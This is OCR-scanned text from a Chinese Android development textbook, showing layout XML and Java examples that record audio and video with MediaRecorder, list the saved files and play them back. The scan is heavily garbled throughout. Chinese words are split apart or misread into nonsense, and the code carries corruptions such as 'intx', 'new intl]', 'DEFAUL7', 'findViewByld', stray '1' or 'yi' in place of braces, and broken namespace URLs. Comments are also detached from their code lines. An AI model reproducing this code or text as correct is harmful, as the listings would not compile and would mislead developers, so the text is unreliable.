<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout /内 访 线 性 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android” 
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android:orientation="horizontal" 
android:layout_width="wrap_content”" 
android:layout_height= "wrap_content> 
<ImageButton 
android:id="@+id/record" 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:src="@drawable/record" /> 
<ImageButton 
android:id="@+id/stop” 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:src="@drawable/stop" /> 
</LinearLayout> 
<TextView 
android:id="@+id/info” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text=" 苑 字 雄 示 久 息 .…."/> 
<ListView 
android:id="@+id/reclist” 
android:layout_width="fill_parent”" 
android:layout_height="wrap_content" /> 
</LinearLayout> 


通过 该 布局 管理 器 可 以 发 现 ， 在 本 程序 的 界面 中 ， 除 了 支持 音频 的 录制 之 外 ， 也 同时 提供 
了 列表 显示 的 功能 ， 可 以 列表 显示 全 部 已 录制 的 音频 文件 。 


/所 有 组 件 水 平 摆 放 
// 布 局 管理 器 宽度 为 包含 组 件 宽度 
/布局 管理 器 高 度 为 包含 组 件 高 度 
// 图 片 按钮 

1/ 组件 iD， 程序 中 使 用 
// 组 件 宽度 

// 组 件 高 度 为 图 片 高 度 
// 上 默认 显示 图 片 

// 图 片 按钮 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 图 片 宽度 
// 组 件 高 度 为 图 片 高 度 
/默认 显示 图 片 

// 线 性 布局 完结 

// 文 本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
// 黑 认 显 示 文 字 

// 列 表 显 示 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 内 容 高 度 


【 例 10-56】 定义 Activity 程序 ， 完 成 录音 及 列表 操作 (分 段 列 出 》 


package org.Ixh.demo; 

import java.io.File; 

import java.util.ArrayList; 

import java.util.HashMap; 

import java.util.List; 

import java.util.Map; 

import android.app.Activity; 

import android.content. Intent; 

import android.media.MediaRecorder; 

import android.net.Uri; 

import android.os.Bundle; 

import android.os.Environment'; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.AdapterView; 

import android.widget.AdapterView.OnltemClickListener; 

import android.widget.ImageButton; 

import android.widget.ListView; 

import android.widget.SimpleAdapter; 

import android.widget. TextView; 

public class MyMediaRecorderDemo extends Activity { 
private ImageButton record = null; 


/按钮 信息 
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private ImageButton stop = null; /按钮 信息 

private TextView info = null; /提示 信息 

private MediaRecorder mediaRecorder = null; /MediaRecorder 对 象 
private File recordAudioSaveFile = null; /文件 保存 目录 路 径 
private File recordAudioSaveFileDir = null; /文件 保存 目录 
private String recordAudioSaveFileName = null; /音频 文件 保存 名 称 
private SimpleAdapter recordSimpleAdapter = null; // 适 配器 

private ListView reclist = null; /定义 列表 视图 
private String recDir = "mldnrec"; /保存 目录 

private boolean sdcardExists = false; // 判 断 SD 卡 是 否 存在 
private boolean isRecord = false; // 判 断 是 否 正在 录音 
private List<Map<String, Object>> recordFiles = null; // 保 存 所 有 的 List 数据 


本 程序 由 于 要 完成 音频 录制 与 文件 列表 的 功能 ， 所 以 定义 了 如 下 几 个 属性 。 
ImageButton record: 图 片 按钮 ， 当 按 下 此 按钮 之 后 开始 进行 音频 录音 。 
ImageButton stop: 默认 为 不 可 用 ， 当 用 户 单 击 record 按钮 之 后 可 以 通过 此 按钮 停止 录音 。 
TextView info: 显示 提示 信息 。 

MediaRecorder mediaRecorder: 完成 音频 录制 的 操作 类 。 

File recordAudioSaveFile: 文件 保存 路 径 的 File 对 象 。 

File recordAudioSaveFileDir: 文件 保存 路 径 所 在 文件 夹 的 File 对 象 。 
String recordAudioSaveFileName: 保存 的 文件 名 称 。 

SimpleAdapter recordSimpleAdapter: 用 于 定义 ListView 组 件 的 适配器 类 。 
ListView reclist， 定 义 ListView 组 件 对 象 。 

List<Map<String, Object>> recordFiles: 封装 所 有 音频 文件 名 称 。 

String recDir= "mldnrec": 所 有 音频 文件 的 默认 保存 路 径 。 

boolean sdcardExists: SD 卡 是 否 存在 的 标记 。 

boolean isRecord: 是 否 正在 录音 的 标记 。 


交办 办 办 办 办 多多 凶 凶 多 凶 凶 


private void getRecordFiles() { // 取 得 全 部 录音 文件 
this.recordFiles = new ArrayList<Map<String, Object>>(); /实例 化 List 集合 
if (this.sdcardExists) { // 如 果 SD 卡 存 在 

File files[] = this.recordAudioSaveFileDir.listFiles(); // 列 出 目录 中 的 文件 


for (intx = 0; x < files.length; x++) { 
Map<String, Object> filelnfo = new HashMap<String, Object>(); 
filelnfo.put("filename", files[x].getName()); // 增 加 显示 内 容 
this.recordFiles.add(fileInfo); /保存 数据 
yi 
this.recordSimpleAdapter = new SimpleAdapter(this, 
this.recordFiles, R.layout.recordfiles, 
new String[] { "filename" }, 
new intl] { R.id.filename }); // 实 例 化 适配器 
this.reclist.setAdapter(this.recordSimpleAdapter); // 定 义 列表 视图 
} 
} 
getRecordFiles() 方 法 的 主要 功能 是 进行 ListView 列表 显示 内 容 的 填充 ， 会 根据 指定 的 文件 
目录 采用 listFiles() 方 法 列 出 全 部 的 文件 ， 并 且 将 这 些 数据 采用 循环 的 方式 设置 到 recordFiles 集 
合 中 ， 最 后 通过 recordFiles 集合 对 象 实例 化 SimpleAdapter 类 的 对 象 ， 以 完成 数据 的 列表 显示 ， 
这 一 步 操作 与 第 7 章 讲 解 ListView 组 件 时 的 功能 类 似 。 
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@Override 
public void onCreate(Bundle savedInstanceState) { 
Super.onCreate(savedlnstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 

this.record = (ImageButton) super.findViewByld(R.id.record);，// 查 找 组 件 

this.stop = (ImageButton) super findViewByld(R.id.stop); // 查 找 组 件 

this.info = (TextView) super findViewByld(R.id.info); // 查 找 组 件 

this.reclist = (ListView) super.findViewByld(R.id.reclist); // 查 找 组 件 

if (this.sdcardExists = Environment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)) { // 判 断 SD 卡 是 否 存 在 


this.recordAudioSaveFileDir = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 
+ MyMediaRecorderDemo.this.recDir + File.separator); /保存 录音 目录 


if (Ithis.recordAudioSaveFileDir.exists()) { // 父 文件 夹 不 存在 
this.recordAudioSaveFileDir.mkdirs(); // 创 建新 的 文件 夹 
1 
1 
this.getRecordFiles(); // 取 得 全 部 的 文件 列表 
this.stop.setOnClickListener(new StopOnClickListenerlImpl()); /设置 单 击 事件 
this.record.setOnClickListener(new RecordOncClickListenerlmpl()); /设置 单 击 事件 
this.stop.setEnabled(false); /1/“ 暂 停 ”按钮 暂时 不 可 用 
this.reclist.setOnltemClickListener( 
new OnltemClickListenerImpl()); // 设 置 单 击 事件 


onCreate() 方 法 的 主要 功能 是 依次 取得 布局 管理 器 中 定义 的 各 个 组 件 , 而 后 使 用 Environment 
类 判断 是 否 存 在 SD 卡 , 如 果 存 在 , 则 实例 化 音频 文件 的 保存 路 径 对 象 (recordAudioSaveFileDir) ， 
如 果 指 定 的 文件 目录 不 存在 ， 则 会 使 用 mkdirs0 方 法 进行 创建 ， 而 后 默认 在 ListView 列 出 全 部 
已 有 的 音频 文件 ， 之 后 为 各 个 组 件 设置 监听 操作 。 
private class RecordOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
if (MyMediaRecorderDemo.this.sdcardExists) { // 如 果 SD 卡 存 在 
MyMediaRecorderDemo.this.recordAudioSaveFileName = 
MyMediaRecorderDemo.this.recordAudioSaveFileDir 
.toString() 
+ File.separator 
+ "MLDNRecord_" 
+ System.currentTimeMillis() + ".3gp"; /文件 保存 名 称 
MyMediaRecorderDemo.this.recordAudioSaveFile = new File( 
MyMediaRecorderDemo.this.recordAudioSaveFileName); // 取 得 保存 路 径 
MyMediaRecorderDemo.this.mediaRecorder = new MediaRecorder(); // 实 例 化 
MyMediaRecorderDemo.this.mediaRecorder 
.SetAudioSource( 
MediaRecorder.AudioSource.MIC); // 设 置 录 音源 为 MIC 
MyMediaRecorderDemo.this.mediaRecorder 
.setOutputFormat( 
MediaRecorder.OutputFormat.THREE_GPP);，// 定 义 输出 格式 
MyMediaRecorderDemo.this.mediaRecorder 
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.SetAudioEncoder( 
MediaRecorder.AudioEncoder.DEFAUL7); /定义 音频 编码 
MyMediaRecorderDemo.this.mediaRecorder 
.SetOutputFile(MyMediaRecorderDemo. 


this.recordAudioSaveFileName); // 定 义 输出 文件 

try{ 

MyMediaRecorderDemo.this.mediaRecorder.prepare(); /准备 录音 
}catch (Exception e){ 

e.printStackTrace(); 
} 
MyMediaRecorderDemo .this.mediaRecorder.start(); /开始 录音 
MyMediaRecorderDemo .this.info.setText(" 正 在 录音 中 .…"); /提示 信 息 
MyMediaRecorderDemo this.stop.setEnabled(true); 11“ 停 止 ” 按 钮 可 用 
MyMediaRecorderDemo .this.record.setEnabled(false); 11“ 录音 ”按钮 禁用 
MyMediaRecorderDemo.this.isRecord = true; // 正 在 录音 


} 
} 
本 事件 处 理 类 主要 是 完成 音频 录制 的 具体 操作 ， 而 音频 录制 的 前 提 是 sdcard 必须 存在 
(sdcardExists) ， 而 后 默认 的 保存 格式 为 .3gp， 并 且 依 次 设置 好 各 个 音频 录制 的 参数 ， 以 完成 录 
音 操作 。 
private class StopOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
if (MyMediaRecorderDemo.this.isRecord) { // 已 经 开始 录音 ， 则 停止 
MyMediaRecorderDemo.this.mediaRecorder.stop(); /停止 录音 
MyMediaRecorderDemo .this.mediaRecorder.release(); /释放 资源 
MyMediaRecorderDemo.this.record.setEnabled(true); 。”//“ 录 音 ” 按 钮 启用 
MyMediaRecorderDemo.this.info.setText(" 录 音 结束 ， 文 件 路 径 为 :" 
+ MyMediaRecorderDemo.this.recordAudioSaveFile); 


} 
MyMediaRecorderDemo.this.getRecordFiles(); // 重 新 加 载 列 表 


| 
} 
本 事件 处 理 类 主要 是 完成 停止 录音 的 操作 ， 当 录音 完成 之 后 ， 会 将 资源 释放 (release0) ， 
而 后 在 文本 提示 组 件 上 显示 已 保存 的 音频 文件 路 径 ， 最 后 使 用 getRecordFiles() 方 法 重新 填充 
ListView 组 件 的 列表 内 容 。 
private class OnltemClickListenerImpl implements OnltemClickListener { 


@Override 
public void onltemClick(AdapterView<?> adapter, View view, 
int position, long id) { // 选 项 单 击 
if (MyMediaRecorderDemo.this.recordSimpleAdapter. 
getltem(position) instanceof Map) { // 判 断 是 否 是 Map 实例 
Map<?, ?> map = (Map<?, ?>) MyMediaRecorderDemo.this.recordSimpleAdapter 
.getltem(position); // 取 出 指定 位 置 的 内 容 


Uri uri = Uri.fromFile(new File( 
MyMediaRecorderDemo.this.recordAudioSaveFileDir 
toString() 
+ File.separator 
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+ map.get("filename"))); /定义 操作 的 Uri 
Intent intent = new Intent(Intent.ACTION_VIEW); /指定 Action 
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); /增加 标记 
intent.setDataAndType(uri, "audio/mp3"); // 设 置 数据 播放 的 MIME 
MyMediaRecorderDemo this_startActivity(intent); /启动 Activity 


} 
} 


} 

本 事件 处 理 类 主要 是 完成 指定 音频 文件 播放 的 操作 ， 当 用 户 选择 列表 中 的 指定 文件 之 后 ， 
会 触发 onItemClick0 操 作 ， 之 后 将 通过 指定 的 Intent 使 用 内 置 的 Action 完成 音频 文件 的 播放 ， 
程序 的 运行 效果 如 图 10-26 所 示 。 


CEEZTTTTEE 


MLDNRecord_1315985163118.3gp OO 


(a) 音频 文件 列表 (b) 播放 音频 文件 
图 10-26 音频 录制 


10.7.2 录制 视频 
录制 视频 与 录制 音频 文件 的 功能 类 似 ， 唯 一 区 别 就 是 在 视频 录制 中 需要 定义 一 个 额外 的 


SurfaceView 组 件 ， 以 捕获 摄像 头 采集 到 的 数据 。 下 面 继 续 利 用 MediaRecorder 类 完成 视频 的 录 
制 操作 ， 并 且 在 使 用 录制 视频 时 ， 系 统 自动 根据 用 户 的 设置 开启 摄像 头 进行 视频 的 采集 。 


提示 
本 程序 很 难 具 有 通用 性 。 
虽然 使 用 MediaRecorder 类 可 以 完成 视频 的 录制 操作 ， 但 是 由 于 一 些 视频 的 参数 不 在 本 
书 的 讲解 范围 内 ， 而 且 使 用 MediaRecorder 类 录制 的 视频 分 辨 这 也 不 能 太 高 ( 由 不 同 的 手机 
决定 ) ， 所 以 在 此 处 只 为 读者 做 一 个 应 用 讲解 ， 但 是 本 程序 的 通用 性 有 待考 量 。 
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以 下 范例 将 演示 一 个 完整 的 视频 录制 、 列 表 显 示 和 视频 播放 的 操作 ， 在 本 范例 中 将 结合 之 
前 的 ListView、MediaRecorder、MediaPlayer 和 Intent 跳 转 的 功能 一 起 为 读者 进行 讲解 ， 本 程序 
完成 所 需要 的 代码 清单 如 表 10-33 所 示 。 


表 10-33 ”程序 代码 清单 


No. 名 称 类 型 描述 

1 |MyMediaRecorderDemo.java 星 序 程序 运行 的 主体 Activity， 提 供 了 视频 录制 的 功能 
2 |BrowserActivity java 星 序 视频 文件 浏览 的 Activity 操作 ， 提 供 ListView 显示 
3_ |PlayVideoActivity ,java 星 序 用 于 播放 视频 的 Activity， 使 用 MediaPlayer 完成 播放 

用 于 定义 BrowserActivity 中 ListView 列表 显示 的 布局 管 
4 | recordfiles.xml 布局 ， 

理 器 

5 _ |main xml 布局 MyMediaRecorderDemo 程序 的 布局 管理 器 
6 |browser.xml 布局 ”|BrowserActivity 程序 的 布局 管理 器 ， 提 供 ListView 
7_|play.xml 布局 ”|PlayVideoActivity 程序 的 布局 管理 器 ， 提 供 SurfaceView 
8 | AndroidManifestxml 配置 ”| 配置 Activity 程序 以 及 相关 操作 权限 


下 面 将 依次 讲解 表 10-33 中 各 个 文件 的 实现 , 为 了 读者 理解 方便 , 代码 较 多 的 程序 将 采用 分 
段 方式 解释 。 
【 例 10-57】 定义 MyMediaRecorderDemo 程序 的 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http://schemas.android.com/apk/res/android" 


android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 赃 布 局 管理 器 


xmins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="wrap_content”" // 布 局 管理 器 宽度 为 内 容 宽 度 
android:layout_height="wrap_content’> // 布 局 管理 器 高 度 为 内 容 高 度 
<ImageButton // 定 义 图 片 按钮 
android:id="@+id/record”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 自身 图 片 宽度 


android:layout_height="wrap_content” 
android:src="@drawable/record" /> 


// 组 件 高 度 为 自身 图 片 高 度 
// 显 示 图 片 


<ImageButton /定义 图 片 按钮 
android:id="@+id/stop” /组件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” 1/ 组件 宽 度 为 自身 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 自身 图 片 高 度 
android:src="@drawable/stop" /> // 显 示 图 片 
<ImageButton /定义 图 片 按钮 
android:id="@+id/browser” /组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 自身 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 自身 图 片 高 度 
android:src="@drawable/browser" /> // 显 示 图 片 
</LinearLayout> // 内 赃 线 性 布局 管理 器 完结 
<TextView /文本 显示 组 件 
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android:id="@+id/info" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text=" 邦 实 起 示 信 和 语 .."/> 
<SurfaceView 
android:id="@+id/surface” 
android:layout_width="fill_parent" 
android:layout_height="wrap_content”" /> 
</LinearLayout> 


/组 件 ID， 程 序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 
/组件 高 度 为 文字 高 度 

// 软 认 显示 文字 

/定义 SurfaceView 组 件 以 捕捉 视频 
/组 件 ID， 程 序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 内 容 高 度 


本 布局 管理 器 所 完成 的 只 是 一 系列 功能 性 按钮 的 定义 , 而 SurfaceView 的 主要 功能 是 在 进行 


视频 录制 时 显示 所 捕获 到 的 视频 数据 。 


【 例 10-58】 定义 MyMediaRecorderDemo 程序 (分 段 列 出 ) 


package org.Ixh.demo; 

import java.io.File; 

import android.app.Activity; 

import android.content. Intent; 

import android.media.MediaRecorder; 

import android.os.Bundle; 

import android.os.Environment; 

import android.view.KeyEvent; 

import android.view.SurfaceHolder; 

import android.view.SurfaceView; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.view.Window; 

import android.view.WindowManager; 

import android.widget.ImageButton; 

import android.widget. TextView; 

public class MyMediaRecorderDemo extends Activity { 
private ImageButton record = null; 
private ImageButton stop = null; 
private ImageButton browser = null; 
private TextView info = null; 
private MediaRecorder mediaRecorder = null; 
private File recordVideoSaveFile = null; 
private File recordVideoSaveFileDir = null; 
private String recordVideoSaveFileName = null; 
private String recDir = "mldnvideo"; 
private boolean sdcardExists = false; 
private boolean isRecord = false; 
private SurfaceView surface = null; 


/按钮 信息 

/按钮 信息 

/按钮 信息 

/提示 信息 
/MediaRecorder 对 象 
/文件 保存 目录 路 径 
/文件 保存 目录 
/音频 文件 保存 名 称 
/保存 目录 

// 判 断 SD 卡 是 否 存在 
// 判 断 是 否 正 在 录音 
l/SurfaceView 


本 程序 作为 视频 录制 的 Activity 类 ， 在 类 内 部 定义 了 如 下 属性 。 


ImageButton stop: 停止 录像 操作 按钮 。 


TextView info: 录制 时 的 提示 文字 信息 。 


加 加 罗网 加 


JImageButton record: 用 于 进行 视频 录制 的 控制 按钮 ， 当 按 下 此 按钮 之 后 将 开始 录制 视频 。 
ImageButton browser: 通过 此 按钮 打开 一 个 文件 浏览 的 Activity 程序 。 


MediaRecorder mediaRecorder: 使 用 MediaRecorder 进行 视频 录制 。 
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File recordVideoSaveFile: 视频 文件 保存 的 File 对 象 。 

File recordVideoSaveFileDir: 视频 文件 保存 目录 的 File 对 象 。 
String recordVideoSaveFileName: 保存 生成 的 视频 文件 名 称 。 
String recDir = "mldnvideo": 默认 的 视频 保存 目录 。 

boolean sdcardExists: 判断 SD 卡 是 否 存在 的 标记 。 

boolean isRecord: 判断 视频 是 否 正 处 于 录制 中 的 控制 标记 。 
SurfaceView surface: 显示 摄像 头 采 集 到 的 视频 数据 。 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


同 回 加 加 罗网 加 


super.requestWindowFeature(Window.FEATURE_NO_TITLE); // 不 显示 标题 
super.getWindow!().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, 
WindowManager.LayoutParams.FLAG_FULLSCREEN); // 全 屏 显示 


Super.getWindow().addFlags( 
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) // 高 亮 显示 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.record = (ImageButton) super.findViewByld(R.id.record); // 查 找 组 件 
this.stop = (ImageButton) superfindViewByld(R.id.stop); // 查 找 组 件 
this.browser = (ImageButton) super.findViewByld(R.id.browsen); /查找 组 件 
this.info = (TextView) super .findViewByld(R.id.info); /查找 组 件 
this.surface = (SurfaceView) super findViewByld(R.id.surface) ; /查找 组 件 
this.surface.getHolder().setType( 
SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); /设置 缓冲 类 型 
this.surface.getHolder().setFixedSize(350, 500) ; /设置 分 辩 率 
if (this.sdcardExists = Environment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)) { // 判 断 SD 卡 是 否 存在 


this.recordVideoSaveFileDir = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 
+ MyMediaRecorderDemo.this.recDir + File.separatom; /保存 录音 目录 
if (Ithis.recordVideoSaveFileDirexists()){ // 父 文件 夹 不 存在 
this.recordVideoSaveFileDir.mkdirs(); 1/ 创建 新 的 文件 夹 
} 
} 
this.stop.setOnClickListener(new StopOnClickListenerImpl()); // 设 置 单 击 事件 
this.record.setOnClickListener(new RecordOnClickListenerImpl()); // 设 置 单 击 事件 
this.browser.setOnClickListener(new BrowserOnClickListenerImpl());  // 设 置 单 击 事件 
this.stop.setEnabled(false); /1/“ 暂 停 ”按钮 暂时 不 可 用 
本 程序 首先 使 用 findViewById0) 方 法 依次 取得 了 在 main xml 文件 中 定义 的 各 个 组 件 ， 而 后 
使 用 Environment 判断 SD 卡 是 否 存在 ， 如 果 存 在 ， 则 实例 化 视频 保存 文件 的 目录 对 象 
(recordVideoSaveFileDir) ， 而 后 为 各 个 按钮 绑 定 事 件 处 理 操 作对 象 。 
private class RecordOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
if (MyMediaRecorderDemo.this.sdcardExists) { // 如 果 SD 卡 存 在 
MyMediaRecorderDemo.this.recordVideoSaveFileName = 
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MyMediaRecorderDemo.this.recordVideoSaveFileDir 
.toString() 
+ File.separator 
+ "MLDNVideo_" 
+ System.currentTimeMillis() + ".3gp"; /文件 保存 名 称 
MyMediaRecorderDemo.this.recordVideoSaveFile = new File( 
MyMediaRecorderDemo this.recordVideoSaveFileName);// 取 得 文件 保存 路 径 
MyMediaRecorderDemo.this.mediaRecorder = new MediaRecorder(); // 实 例 化 
MyMediaRecorderDemo.this.mediaRecorder.reset() ; 
MyMediaRecorderDemo.this.mediaRecorder 
.SetAudioSource( 
MediaRecorder.AudioSource.MIC); /1/ 设 置 录 音源 为 MIC 
MyMediaRecorderDemo.this.mediaRecorder 
.setVideoSource( 
MediaRecorder.VideoSource.CAMERA); /摄像 头 为 视频 源 
MyMediaRecorderDemo.this.mediaRecorder 
.SetOutputFormat( 
MediaRecorder.OutputFormat. THREE_GPP);// 定 义 输出 格式 
MyMediaRecorderDemo.this.mediaRecorder 
.SetVideoEncoder( 
MediaRecorder.VideoEncoder.H263); /定义 视频 编码 
MyMediaRecorderDemo.this.mediaRecorder 
.SetAudioEncoder( 
MediaRecorder.AudioEncoder.AMR_NB); /定义 音频 编码 
MyMediaRecorderDemothis.mediaRecorder 
.SetOutputFile(MyMediaRecorderDemo. 


this.recordVideoSaveFileName); /定义 输出 文件 
MyMediaRecorderDemo.this.mediaRecorder 
.setVideoSize(320, 240); /定义 视频 大 小 
MyMediaRecorderDemo.this.mediaRecorder 
.setVideoFrameRate(10); /每 秒 10 帧 


MyMediaRecorderDemo.this.mediaRecorder 
.setPreviewDisplay(MyMediaRecorderDemo.this.surface 


.getHolder().getSurface()); /定义 视频 显示 

try{ 

MyMediaRecorderDemo.this.mediaRecorder.prepare();，// 准 备 录 像 
} catch (Exception e) { 

e.printStackTrace(); 
} 
MyMediaRecorderDemo.this.mediaRecorder.start(); // 开 始 录像 
MyMediaRecorderDemo this info.setText(" 正 在 录像 中 …"); // 提 示 信 息 
MyMediaRecorderDemothis.stop.setEnabled(true); 11“ 停 止 ”按钮 可 用 
MyMediaRecorderDemo .this.record.setEnabled(false); 11 “录像 ”按钮 禁用 
MyMediaRecorderDemo.this.isRecord = true:; // 正 在 录音 


} 
} 
本 事件 处 理 类 主要 完成 视频 的 录制 功能 , 所 以 在 操作 时 , 首先 实例 化 了 MediaRecorder 对 象 ， 
而 后 依次 为 此 对 象 设置 视频 编码 、 音 频 编 码 、 输 出 的 格式 、 大 小 、 帧 率 等 ， 但 是 在 这 里 需要 提 


S41 


名 师 讲 坛 一 一 Android 开发 实战 经 典 


醒 读 者 的 是 ， 对 于 视频 编码 〈setVideoEncoder0) 和 音频 编码 (setAudioEncoder()) 的 设置 操作 
- 定 要 放 在 视频 格式 〈setOutputFormat0) 设置 之 后 完成 ， 否 则 程序 将 出 现 异 常 ， 这 一 点 可 以 参 
考 图 10-25。 
private class StopOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
if (MyMediaRecorderDemo this.isRecord){ // 已 经 开始 录音 ， 则 停止 
MyMediaRecorderDemo this.mediaRecorder.stop(); /停止 录音 
MyMediaRecorderDemo .this.mediaRecorder.release(); /释放 资源 
MyMediaRecorderDemo .this.record.setEnabled(true); 。//“ 录 音 ” 按 钮 启用 
MyMediaRecorderDemo.this.info.setText(" 录 像 结 束 ， 文 件 路 径 为 :" 
+ MyMediaRecorderDemo.this.recordVideoSaveFile); 


} 
} 
本 事件 处 理 操作 类 主要 是 完成 停止 录制 视频 的 操作 ， 当 视频 停止 录制 之 后 会 使 用 release() 

方法 进行 资源 的 释放 。 

private class BrowserOnClickListenerImpl implements OnClickListener { 

@Override 

public void onClick(View v) { 

Intent it = new Intent(MyMediaRecorderDemo.this, 


BrowserActivity.class); /指定 Intent 
MyMediaRecorderDemo.this.startActivity(it) ; // 跳 转 Intent 
} 
} 
当 视 频 录 制 完 成 之 后 ， 肯 定 希 望 进行 视频 的 浏览 ， 所 以 会 使 用 “浏览 ”按钮 调用 


BrowserActivity 程序 进行 文件 的 列表 显示 ， 本 事件 处 理 类 的 功能 就 是 完成 Activity 的 跳 转 操 作 。 


@Override 
public boolean onKeyDown(int keyCode, KeyEvent event) { 
if (keyCode == KeyEvent.KEYCODE_BACK) { // 如 果 是 手机 上 的 “返回 ” 键 
this finish(); // 程 序 结束 
} 
return false; 
} 


} 

本 方法 的 主要 功能 是 当 用 户 按 手 机 上 的 “返回 ” 键 之 后 结束 程序 ， 当 然 ， 有 兴趣 的 读者 可 
以 在 此 处 添加 第 7 章 所 学 习 的 提示 对 话 框 ， 以 确定 用 户 是 否 真 的 想 退 出 ， 本 程序 为 了 简便 ， 不 
EE 复 列 出 此 代码 。 程 序 的 运行 效果 如 图 10-27 所 示 。 


=|S|x| 


图 10-27 录像 界面 
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【 例 10-59】 定义 BrowserActivity 程序 进行 ListView 显示 时 的 布局 管理 器 一 一 recordfiles.xml 
<?xml version="1.0" encoding="utf-8"?> 


<TableLayout /表格 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 内 容 高 度 
<TableRow> // 定 义 表格 行 

<ImageView // 显 示 图 片 
android:id="@+id/icon” // 组 件 ID， 程 序 中 使 用 
android:layout_height="wrap_content”" // 组 件 高 度 为 图 片 高 度 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:src="@drawable/file_icon"/> // 显 示 图 片 

<TextView // 文 本 显示 组 件 
android:id="@+id/filename” // 组 件 ID， 程 序 中 使 用 
android:textSize="25px” /文字 大 小 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:layout_width="wrap_content"/> // 组 件 宽度 为 文字 宽度 

</TableRow> // 表 格 行 完结 
</TableLayout> 


【 例 10-60】 定义 BrowserActivity 程序 的 布局 管理 器 一 一 browser.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout /内 赃 线 性 布局 管理 器 

xmlns:android= "httipschemas.android.comyapkres/anadroid” 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="wrap_content”" // 布 局 管理 器 宽度 为 内 部 组 件 宽度 
android:layout_height="wrap_content> /布局 管理 器 高 度 为 内 部 组 件 高 度 
<TextView // 文 本 显示 组 件 
android:id="@+id/info” // 组 件 ID， 程 序 中 使 用 
android:textSize="25px" /定义 文本 大 小 
android:gravity="center” // 居 中 对 齐 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:text= "部 奖 艾 伴 列 责 ' /> // 黑 认 显示 文字 
<ImageButton /图 片 按钮 
android:id="@+io/back" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” 1/ 组件 宽 度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/back" /> // 显 示 图 片 
</LinearLayout> // 内 赃 线 性 布局 管理 器 完结 
<ListView // 定 义 ListView 显示 
android:id="@+id/ideolist" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 内 容 总 高 度 
</LinearLayout> 
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【 例 10-61】 定义 BrowserActivity 程序 完成 ListView 列表 显示 (分 段 列 4 


package org.Ixh.demo; 
import java.io.File; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.content.Intent'; 
import android.os.Bundle; 
import android.os.Environment' 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener 
import android.widget.ImageButton; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter 
